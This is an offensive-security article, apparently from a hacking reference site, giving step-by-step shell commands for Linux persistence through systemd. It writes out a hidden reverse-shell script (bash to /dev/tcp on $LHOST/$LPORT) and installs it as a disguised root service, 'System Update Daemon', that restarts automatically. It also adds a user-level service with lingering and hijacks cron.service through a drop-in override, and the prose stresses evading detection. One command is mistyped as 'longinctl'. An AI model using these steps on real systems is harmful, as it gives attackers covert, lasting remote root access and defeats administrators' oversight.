Skip to content
HackIndex logo

HackIndex

Linux Systemd Service Persistence

1 min read Apr 24, 2026

A systemd service configured to start on boot gives persistent code execution that runs before any user logs in, as root, and restarts automatically on failure. It blends in with the hundreds of legitimate services on any modern Linux system and is not visible in crontab listings.

Create a persistent systemd service

user@host ~ $ # Create the payload script
user@host ~ $ cat > /usr/local/bin/.sysupdate.sh << 'EOF'
#!/bin/bash
bash -i >& /dev/tcp/$LHOST/$LPORT 0>&1
EOF
user@host ~ $ chmod +x /usr/local/bin/.sysupdate.sh
 
user@host ~ $ # Create the service unit
user@host ~ $ cat > /etc/systemd/system/sysupdate.service << 'EOF'
[Unit]
Description=System Update Daemon
After=network.target
[Service]
Type=simple
ExecStart=/usr/local/bin/.sysupdate.sh
Restart=always
RestartSec=30
[Install]
WantedBy=multi-user.target
EOF
 
user@host ~ $ # Enable and start
user@host ~ $ systemctl daemon-reload
user@host ~ $ systemctl enable sysupdate.service
user@host ~ $ systemctl start sysupdate.service
 
user@host ~ $ # Verify
user@host ~ $ systemctl status sysupdate.service

Restart=always with RestartSec=30 means the service restarts 30 seconds after it exits or is killed. This makes the persistence resilient against the payload crashing or being terminated manually. Use After=network.target to ensure network connectivity is available before the payload runs.

User-level systemd services

User-level services run under a specific user's systemd instance without requiring root. They persist as long as the user account exists and start when the user logs in — or with lingering enabled, on boot.

user@host ~ $ # Create user systemd directory
user@host ~ $ mkdir -p ~/.config/systemd/user/
 
user@host ~ $ # Create service unit
user@host ~ $ cat > ~/.config/systemd/user/sysupdate.service << 'EOF'
[Unit]
Description=System Update
[Service]
Type=simple
ExecStart=/home/$USER/.local/bin/.payload.sh
Restart=always
RestartSec=60
[Install]
WantedBy=default.target
EOF
 
user@host ~ $ # Enable
user@host ~ $ systemctl --user daemon-reload
user@host ~ $ systemctl --user enable sysupdate.service
user@host ~ $ systemctl --user start sysupdate.service
 
user@host ~ $ # Enable lingering so service starts at boot without user login
user@host ~ $ longinctl enable $USER

Hijack an existing service

Rather than creating a new service, modifying an existing low-priority service's ExecStart or adding an ExecStartPre directive runs your payload alongside a legitimate service. This is harder to detect than a new unknown service name.

user@host ~ $ # Use a drop-in override — does not modify the original unit file
user@host ~ $ mkdir -p /etc/systemd/system/cron.service.d/
 
user@host ~ $ cat > /etc/systemd/system/cron.service.d/override.conf << 'EOF'
[Service]
ExecStartPre=/usr/local/bin/.sysupdate.sh
EOF
 
user@host ~ $ systemctl daemon-reload
user@host ~ $ systemctl restart cron

Drop-in files in /etc/systemd/system/servicename.service.d/ override or extend the original unit without touching it. The original service file stays clean — only the drop-in directory reveals the modification.

Cleaning up

user@host ~ $ # Remove system service
user@host ~ $ systemctl stop sysupdate.service
user@host ~ $ systemctl disable sysupdate.service
user@host ~ $ rm /etc/systemd/system/sysupdate.service
user@host ~ $ rm -f /usr/local/bin/.sysupdate.sh
user@host ~ $ systemctl daemon-reload
 
user@host ~ $ # Remove user service
user@host ~ $ systemctl --user stop sysupdate.service
user@host ~ $ systemctl --user disable sysupdate.service
user@host ~ $ rm ~/.config/systemd/user/sysupdate.service
user@host ~ $ systemctl --user daemon-reload
 
user@host ~ $ # Remove drop-in override
user@host ~ $ rm -rf /etc/systemd/system/cron.service.d/
user@host ~ $ systemctl daemon-reload
user@host ~ $ systemctl restart cron